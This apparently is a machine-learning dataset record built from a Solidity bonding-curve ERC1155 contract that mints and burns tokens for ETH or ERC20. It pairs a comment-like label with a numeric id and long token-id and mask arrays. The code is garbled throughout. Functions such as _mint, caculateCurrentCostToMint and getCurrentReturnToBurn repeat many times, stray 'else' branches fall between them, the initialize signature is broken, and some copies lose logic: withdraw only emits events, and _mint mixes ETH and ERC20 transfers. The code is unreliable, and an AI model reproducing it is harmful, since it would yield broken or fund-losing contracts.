totalReturn = m * intervalSum + (virtualBalance * (_balance));
} else {
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn =
totalReturn +
(m * (i**intPower) + (virtualBalance));
}
}
} else {
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn = totalReturn + decPowerCache[i];
}
}
totalReturn = (totalReturn * (100 - platformRate - creatorRate)) / 100;
return totalReturn;
}
// Bernoulli's formula for calculating the sum of intervals between the two reserves
function caculateIntervalSum(
uint256 _power,
uint256 _startX,
uint256 _endX
) public pure returns (uint256) {
return
ANALYTICMATH.caculateIntPowerSum(_power, _endX) -
ANALYTICMATH.caculateIntPowerSum(_power, _startX - 1);
}
// anyone can withdraw reserve of erc20 tokens/ETH to receivingAddress's beneficiary account
function withdraw() public {
if (address(erc20) == address(0)) {
receivingAddress.transfer(_getEthBalance() - reserve); // withdraw eth to beneficiary account
emit Withdraw(receivingAddress, _getEthBalance() - reserve);
} else {
erc20.safeTransfer(receivingAddress, _getErc20Balance() - reserve); // withdraw erc20 tokens to beneficiary account
emit Withdraw(receivingAddress, _getErc20Balance() - reserve);
}
}
function _setBasicInfo(
string memory _name,
string memory _symbol,
string memory _baseUri,
address _erc20
) internal {
name = _name;
symbol = _symbol;
baseUri = _baseUri;
erc20 = IERC20Upgradeable(_erc20);
}
function _setCurveParms(
uint256 _initMintPrice,
uint256 _m,
uint256 _n,
uint256 _d
) internal {
m = _m;
n = _n;
if ((_n / _d) * _d == _n) {
intPower = _n / _d;
} else {
d = _d;
}
virtualBalance = _initMintPrice - _m;
reserve = 0;
}
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
| token id counter. For erc721 contract, PASS serial number = token id | {
using CountersUpgradeable for CountersUpgradeable.Counter;
using SafeERC20Upgradeable for IERC20Upgradeable;
IAnalyticMath public constant ANALYTICMATH =
string public baseUri;
CountersUpgradeable.Counter private tokenIdTracker;
event Minted(
uint256 indexed tokenId,
uint256 indexed cost,
uint256 indexed reserveAfterMint,
uint256 balance,
uint256 platformProfit,
uint256 creatorProfit
);
event Burned(
address indexed account,
uint256 indexed tokenId,
uint256 balance,
uint256 returnAmount,
uint256 reserveAfterBurn
);
event BatchBurned(
address indexed account,
uint256[] tokenIds,
uint256[] balances,
uint256 returnAmount,
uint256 reserveAfterBurn
);
event Withdraw(address indexed to, uint256 amount);
function initialize(
contract Curve is
) public virtual initializer {
__Ownable_init(addrs[3]);
__ERC1155_init(infos[2]);
__ERC1155Burnable_init();
_setBasicInfo(infos[0], infos[1], infos[2], addrs[2]);
_setFeeParameters(
payable(addrs[0]),
parms[0],
payable(addrs[1]),
parms[1]
);
_setCurveParms(parms[2], parms[3], parms[4], parms[5]);
}
tokenIdTracker = CountersUpgradeable.Counter({_value: 1});
function _setFeeParameters(
address payable _platform,
uint256 _platformRate,
address payable _receivingAddress,
uint256 _createRate
) internal {
require(_platform != address(0), "Curve: platform address is zero");
require(
_receivingAddress != address(0),
"Curve: receivingAddress address is zero"
);
platform = _platform;
platformRate = _platformRate;
receivingAddress = _receivingAddress;
creatorRate = _createRate;
}
function changeBeneficiary(address payable _newAddress) public onlyOwner {
require(_newAddress != address(0), "Curve: new address is zero");
receivingAddress = _newAddress;
}
function mint(
uint256 _balance,
uint256 _amount,
uint256 _maxPriceFirstPASS
) public returns (uint256) {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
uint256 firstPrice = caculateCurrentCostToMint(1);
require(
_maxPriceFirstPASS >= firstPrice,
"Curve: price exceeds slippage tolerance."
);
return _mint(_balance, _amount, false);
}
function mint(uint256 _balance, uint256 _amount) public returns (uint256) {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
return _mint(_balance, _amount, false);
}
function burn(
address _account,
uint256 _tokenId,
uint256 _balance
) public override {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
super._burn(_account, _tokenId, _balance);
uint256 burnReturn = getCurrentReturnToBurn(_balance);
totalSupply -= _balance;
reserve = reserve - burnReturn;
erc20.safeTransfer(_account, burnReturn);
emit Burned(_account, _tokenId, _balance, burnReturn, reserve);
}
function burnBatch(
address _account,
uint256[] memory _tokenIds,
uint256[] memory _balances
) public override {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
super._burnBatch(_account, _tokenIds, _balances);
uint256 totalBalance;
for (uint256 i = 0; i < _balances.length; i++) {
totalBalance += _balances[i];
}
uint256 burnReturn = getCurrentReturnToBurn(totalBalance);
reserve = reserve - burnReturn;
totalSupply = totalSupply - totalBalance;
erc20.safeTransfer(_account, burnReturn);
emit BatchBurned(_account, _tokenIds, _balances, burnReturn, reserve);
}
function burnBatch(
address _account,
uint256[] memory _tokenIds,
uint256[] memory _balances
) public override {
require(address(erc20) != address(0), "Curve: erc20 address is null.");
super._burnBatch(_account, _tokenIds, _balances);
uint256 totalBalance;
for (uint256 i = 0; i < _balances.length; i++) {
totalBalance += _balances[i];
}
uint256 burnReturn = getCurrentReturnToBurn(totalBalance);
reserve = reserve - burnReturn;
totalSupply = totalSupply - totalBalance;
erc20.safeTransfer(_account, burnReturn);
emit BatchBurned(_account, _tokenIds, _balances, burnReturn, reserve);
}
function mintEth(uint256 _balance, uint256 _maxPriceFirstPASS)
public
payable
returns (uint256)
{
require(
address(erc20) == address(0),
"Curve: erc20 address is NOT null."
);
uint256 firstPrice = caculateCurrentCostToMint(1);
require(
_maxPriceFirstPASS >= firstPrice,
"Curve: price exceeds slippage tolerance."
);
return _mint(_balance, msg.value, true);
}
function mintEth(uint256 _balance) public payable returns (uint256) {
require(
address(erc20) == address(0),
"Curve: erc20 address is NOT null."
);
return _mint(_balance, msg.value, true);
}
function burnEth(
address _account,
uint256 _tokenId,
uint256 _balance
) public {
require(
address(erc20) == address(0),
"Curve: erc20 address is NOT null."
);
super._burn(_account, _tokenId, _balance);
uint256 burnReturn = getCurrentReturnToBurn(_balance);
totalSupply -= _balance;
reserve = reserve - burnReturn;
payable(_account).transfer(burnReturn);
emit Burned(_account, _tokenId, _balance, burnReturn, reserve);
}
function burnBatchETH(
address _account,
uint256[] memory _tokenIds,
uint256[] memory _balances
) public {
require(address(erc20) == address(0), "Curve: erc20 address is null.");
super._burnBatch(_account, _tokenIds, _balances);
uint256 totalBalance;
for (uint256 i = 0; i < _balances.length; i++) {
totalBalance += _balances[i];
}
uint256 burnReturn = getCurrentReturnToBurn(totalBalance);
reserve = reserve - burnReturn;
totalSupply = totalSupply - totalBalance;
payable(_account).transfer(burnReturn);
emit BatchBurned(_account, _tokenIds, _balances, burnReturn, reserve);
}
function burnBatchETH(
address _account,
uint256[] memory _tokenIds,
uint256[] memory _balances
) public {
require(address(erc20) == address(0), "Curve: erc20 address is null.");
super._burnBatch(_account, _tokenIds, _balances);
uint256 totalBalance;
for (uint256 i = 0; i < _balances.length; i++) {
totalBalance += _balances[i];
}
uint256 burnReturn = getCurrentReturnToBurn(totalBalance);
reserve = reserve - burnReturn;
totalSupply = totalSupply - totalBalance;
payable(_account).transfer(burnReturn);
emit BatchBurned(_account, _tokenIds, _balances, burnReturn, reserve);
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
return string(abi.encodePacked(baseUri, toString(_tokenId)));
}
function getCurrentSupply() public view returns (uint256) {
return totalSupply;
}
function _mint(
uint256 _balance,
uint256 _amount,
bool bETH
) private returns (uint256 tokenId) {
uint256 mintCost = caculateCurrentCostToMint(_balance);
require(_amount >= mintCost, "Curve: not enough token sent");
address account = _msgSender();
uint256 platformProfit = (mintCost * platformRate) / 100;
uint256 creatorProfit = (mintCost * creatorRate) / 100;
totalSupply += _balance;
_mint(account, tokenId, _balance, "");
uint256 reserveCut = mintCost - platformProfit - creatorProfit;
reserve = reserve + reserveCut;
if (bETH) {
if (_amount - (mintCost) > 0) {
payable(account).transfer(_amount - (mintCost));
}
if (platformRate > 0) {
platform.transfer(platformProfit);
}
erc20.safeTransferFrom(account, address(this), mintCost);
if (platformRate > 0) {
erc20.safeTransfer(platform, platformProfit);
}
}
emit Minted(
tokenId,
mintCost,
reserve,
_balance,
platformProfit,
creatorProfit
);
}
function _mint(
uint256 _balance,
uint256 _amount,
bool bETH
) private returns (uint256 tokenId) {
uint256 mintCost = caculateCurrentCostToMint(_balance);
require(_amount >= mintCost, "Curve: not enough token sent");
address account = _msgSender();
uint256 platformProfit = (mintCost * platformRate) / 100;
uint256 creatorProfit = (mintCost * creatorRate) / 100;
totalSupply += _balance;
_mint(account, tokenId, _balance, "");
uint256 reserveCut = mintCost - platformProfit - creatorProfit;
reserve = reserve + reserveCut;
if (bETH) {
if (_amount - (mintCost) > 0) {
payable(account).transfer(_amount - (mintCost));
}
if (platformRate > 0) {
platform.transfer(platformProfit);
}
erc20.safeTransferFrom(account, address(this), mintCost);
if (platformRate > 0) {
erc20.safeTransfer(platform, platformProfit);
}
}
emit Minted(
tokenId,
mintCost,
reserve,
_balance,
platformProfit,
creatorProfit
);
}
function _mint(
uint256 _balance,
uint256 _amount,
bool bETH
) private returns (uint256 tokenId) {
uint256 mintCost = caculateCurrentCostToMint(_balance);
require(_amount >= mintCost, "Curve: not enough token sent");
address account = _msgSender();
uint256 platformProfit = (mintCost * platformRate) / 100;
uint256 creatorProfit = (mintCost * creatorRate) / 100;
totalSupply += _balance;
_mint(account, tokenId, _balance, "");
uint256 reserveCut = mintCost - platformProfit - creatorProfit;
reserve = reserve + reserveCut;
if (bETH) {
if (_amount - (mintCost) > 0) {
payable(account).transfer(_amount - (mintCost));
}
if (platformRate > 0) {
platform.transfer(platformProfit);
}
erc20.safeTransferFrom(account, address(this), mintCost);
if (platformRate > 0) {
erc20.safeTransfer(platform, platformProfit);
}
}
emit Minted(
tokenId,
mintCost,
reserve,
_balance,
platformProfit,
creatorProfit
);
}
function _mint(
uint256 _balance,
uint256 _amount,
bool bETH
) private returns (uint256 tokenId) {
uint256 mintCost = caculateCurrentCostToMint(_balance);
require(_amount >= mintCost, "Curve: not enough token sent");
address account = _msgSender();
uint256 platformProfit = (mintCost * platformRate) / 100;
uint256 creatorProfit = (mintCost * creatorRate) / 100;
totalSupply += _balance;
_mint(account, tokenId, _balance, "");
uint256 reserveCut = mintCost - platformProfit - creatorProfit;
reserve = reserve + reserveCut;
if (bETH) {
if (_amount - (mintCost) > 0) {
payable(account).transfer(_amount - (mintCost));
}
if (platformRate > 0) {
platform.transfer(platformProfit);
}
erc20.safeTransferFrom(account, address(this), mintCost);
if (platformRate > 0) {
erc20.safeTransfer(platform, platformProfit);
}
}
emit Minted(
tokenId,
mintCost,
reserve,
_balance,
platformProfit,
creatorProfit
);
}
} else {
function _mint(
uint256 _balance,
uint256 _amount,
bool bETH
) private returns (uint256 tokenId) {
uint256 mintCost = caculateCurrentCostToMint(_balance);
require(_amount >= mintCost, "Curve: not enough token sent");
address account = _msgSender();
uint256 platformProfit = (mintCost * platformRate) / 100;
uint256 creatorProfit = (mintCost * creatorRate) / 100;
totalSupply += _balance;
_mint(account, tokenId, _balance, "");
uint256 reserveCut = mintCost - platformProfit - creatorProfit;
reserve = reserve + reserveCut;
if (bETH) {
if (_amount - (mintCost) > 0) {
payable(account).transfer(_amount - (mintCost));
}
if (platformRate > 0) {
platform.transfer(platformProfit);
}
erc20.safeTransferFrom(account, address(this), mintCost);
if (platformRate > 0) {
erc20.safeTransfer(platform, platformProfit);
}
}
emit Minted(
tokenId,
mintCost,
reserve,
_balance,
platformProfit,
creatorProfit
);
}
function _getEthBalance() internal view returns (uint256) {
return address(this).balance;
}
function _getErc20Balance() internal view returns (uint256) {
return IERC20Upgradeable(erc20).balanceOf(address(this));
}
function caculateCurrentCostToMint(uint256 _balance)
internal
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * intervalSum + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
if (decPowerCache[i] == 0) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + cost;
decPowerCache[i] = cost;
totalCost = totalCost + decPowerCache[i];
}
}
}
return totalCost;
}
function caculateCurrentCostToMint(uint256 _balance)
internal
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * intervalSum + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
if (decPowerCache[i] == 0) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + cost;
decPowerCache[i] = cost;
totalCost = totalCost + decPowerCache[i];
}
}
}
return totalCost;
}
function caculateCurrentCostToMint(uint256 _balance)
internal
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * intervalSum + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
if (decPowerCache[i] == 0) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + cost;
decPowerCache[i] = cost;
totalCost = totalCost + decPowerCache[i];
}
}
}
return totalCost;
}
} else {
function caculateCurrentCostToMint(uint256 _balance)
internal
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * intervalSum + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
if (decPowerCache[i] == 0) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + cost;
decPowerCache[i] = cost;
totalCost = totalCost + decPowerCache[i];
}
}
}
return totalCost;
}
} else {
function caculateCurrentCostToMint(uint256 _balance)
internal
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * intervalSum + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
if (decPowerCache[i] == 0) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + cost;
decPowerCache[i] = cost;
totalCost = totalCost + decPowerCache[i];
}
}
}
return totalCost;
}
function caculateCurrentCostToMint(uint256 _balance)
internal
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * intervalSum + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
if (decPowerCache[i] == 0) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + cost;
decPowerCache[i] = cost;
totalCost = totalCost + decPowerCache[i];
}
}
}
return totalCost;
}
} else {
function getCurrentCostToMint(uint256 _balance)
public
view
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * (intervalSum) + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + (cost);
}
}
return totalCost;
}
function getCurrentCostToMint(uint256 _balance)
public
view
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * (intervalSum) + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + (cost);
}
}
return totalCost;
}
function getCurrentCostToMint(uint256 _balance)
public
view
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * (intervalSum) + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + (cost);
}
}
return totalCost;
}
} else {
function getCurrentCostToMint(uint256 _balance)
public
view
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * (intervalSum) + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + (cost);
}
}
return totalCost;
}
} else {
function getCurrentCostToMint(uint256 _balance)
public
view
returns (uint256)
{
uint256 curStartX = getCurrentSupply() + 1;
uint256 totalCost;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curStartX,
curStartX + _balance - 1
);
totalCost = m * (intervalSum) + (virtualBalance * _balance);
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
totalCost =
totalCost +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curStartX; i < curStartX + _balance; i++) {
(uint256 p, uint256 q) = ANALYTICMATH.pow(i, 1, n, d);
uint256 cost = virtualBalance + ((m * p) / q);
totalCost = totalCost + (cost);
}
}
return totalCost;
}
function getCurrentReturnToBurn(uint256 _balance)
public
view
returns (uint256)
{
uint256 curEndX = getCurrentSupply();
_balance = _balance > curEndX ? curEndX : _balance;
uint256 totalReturn;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curEndX - _balance + 1,
curEndX
);
totalReturn = m * intervalSum + (virtualBalance * (_balance));
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn =
totalReturn +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn = totalReturn + decPowerCache[i];
}
}
totalReturn = (totalReturn * (100 - platformRate - creatorRate)) / 100;
return totalReturn;
}
function getCurrentReturnToBurn(uint256 _balance)
public
view
returns (uint256)
{
uint256 curEndX = getCurrentSupply();
_balance = _balance > curEndX ? curEndX : _balance;
uint256 totalReturn;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curEndX - _balance + 1,
curEndX
);
totalReturn = m * intervalSum + (virtualBalance * (_balance));
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn =
totalReturn +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn = totalReturn + decPowerCache[i];
}
}
totalReturn = (totalReturn * (100 - platformRate - creatorRate)) / 100;
return totalReturn;
}
function getCurrentReturnToBurn(uint256 _balance)
public
view
returns (uint256)
{
uint256 curEndX = getCurrentSupply();
_balance = _balance > curEndX ? curEndX : _balance;
uint256 totalReturn;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curEndX - _balance + 1,
curEndX
);
totalReturn = m * intervalSum + (virtualBalance * (_balance));
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn =
totalReturn +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn = totalReturn + decPowerCache[i];
}
}
totalReturn = (totalReturn * (100 - platformRate - creatorRate)) / 100;
return totalReturn;
}
} else {
function getCurrentReturnToBurn(uint256 _balance)
public
view
returns (uint256)
{
uint256 curEndX = getCurrentSupply();
_balance = _balance > curEndX ? curEndX : _balance;
uint256 totalReturn;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curEndX - _balance + 1,
curEndX
);
totalReturn = m * intervalSum + (virtualBalance * (_balance));
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn =
totalReturn +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn = totalReturn + decPowerCache[i];
}
}
totalReturn = (totalReturn * (100 - platformRate - creatorRate)) / 100;
return totalReturn;
}
} else {
function getCurrentReturnToBurn(uint256 _balance)
public
view
returns (uint256)
{
uint256 curEndX = getCurrentSupply();
_balance = _balance > curEndX ? curEndX : _balance;
uint256 totalReturn;
if (intPower > 0) {
if (intPower <= 10) {
uint256 intervalSum = caculateIntervalSum(
intPower,
curEndX - _balance + 1,
curEndX
);
totalReturn = m * intervalSum + (virtualBalance * (_balance));
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn =
totalReturn +
(m * (i**intPower) + (virtualBalance));
}
}
for (uint256 i = curEndX; i > curEndX - _balance; i--) {
totalReturn = totalReturn + decPowerCache[i];
}
}
totalReturn = (totalReturn * (100 - platformRate - creatorRate)) / 100;
return totalReturn;
}
function caculateIntervalSum(
uint256 _power,
uint256 _startX,
uint256 _endX
) public pure returns (uint256) {
return
ANALYTICMATH.caculateIntPowerSum(_power, _endX) -
ANALYTICMATH.caculateIntPowerSum(_power, _startX - 1);
}
function withdraw() public {
if (address(erc20) == address(0)) {
emit Withdraw(receivingAddress, _getEthBalance() - reserve);
emit Withdraw(receivingAddress, _getErc20Balance() - reserve);
}
}
function withdraw() public {
if (address(erc20) == address(0)) {
emit Withdraw(receivingAddress, _getEthBalance() - reserve);
emit Withdraw(receivingAddress, _getErc20Balance() - reserve);
}
}
} else {
function _setBasicInfo(
string memory _name,
string memory _symbol,
string memory _baseUri,
address _erc20
) internal {
name = _name;
symbol = _symbol;
baseUri = _baseUri;
erc20 = IERC20Upgradeable(_erc20);
}
function _setCurveParms(
uint256 _initMintPrice,
uint256 _m,
uint256 _n,
uint256 _d
) internal {
m = _m;
n = _n;
if ((_n / _d) * _d == _n) {
intPower = _n / _d;
d = _d;
}
virtualBalance = _initMintPrice - _m;
reserve = 0;
}
function _setCurveParms(
uint256 _initMintPrice,
uint256 _m,
uint256 _n,
uint256 _d
) internal {
m = _m;
n = _n;
if ((_n / _d) * _d == _n) {
intPower = _n / _d;
d = _d;
}
virtualBalance = _initMintPrice - _m;
reserve = 0;
}
} else {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
| 12,714,888 | [
1,
2316,
612,
3895,
18,
2457,
6445,
71,
27,
5340,
6835,
16,
17882,
2734,
1300,
273,
1147,
612,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
95,
203,
565,
1450,
9354,
87,
10784,
429,
364,
9354,
87,
10784,
429,
18,
4789,
31,
203,
565,
1450,
14060,
654,
39,
3462,
10784,
429,
364,
467,
654,
39,
3462,
10784,
429,
31,
203,
203,
565,
467,
979,
7834,
335,
10477,
1071,
5381,
27514,
56,
2871,
49,
3275,
273,
203,
203,
565,
533,
1071,
23418,
31,
203,
203,
565,
9354,
87,
10784,
429,
18,
4789,
3238,
1147,
548,
8135,
31,
203,
203,
203,
203,
203,
203,
203,
565,
871,
490,
474,
329,
12,
203,
3639,
2254,
5034,
8808,
1147,
548,
16,
203,
3639,
2254,
5034,
8808,
6991,
16,
203,
3639,
2254,
5034,
8808,
20501,
4436,
49,
474,
16,
203,
3639,
2254,
5034,
11013,
16,
203,
3639,
2254,
5034,
4072,
626,
7216,
16,
203,
3639,
2254,
5034,
11784,
626,
7216,
203,
565,
11272,
203,
565,
871,
605,
321,
329,
12,
203,
3639,
1758,
8808,
2236,
16,
203,
3639,
2254,
5034,
8808,
1147,
548,
16,
203,
3639,
2254,
5034,
11013,
16,
203,
3639,
2254,
5034,
327,
6275,
16,
203,
3639,
2254,
5034,
20501,
4436,
38,
321,
203,
565,
11272,
203,
565,
871,
5982,
38,
321,
329,
12,
203,
3639,
1758,
8808,
2236,
16,
203,
3639,
2254,
5034,
8526,
1147,
2673,
16,
203,
3639,
2254,
5034,
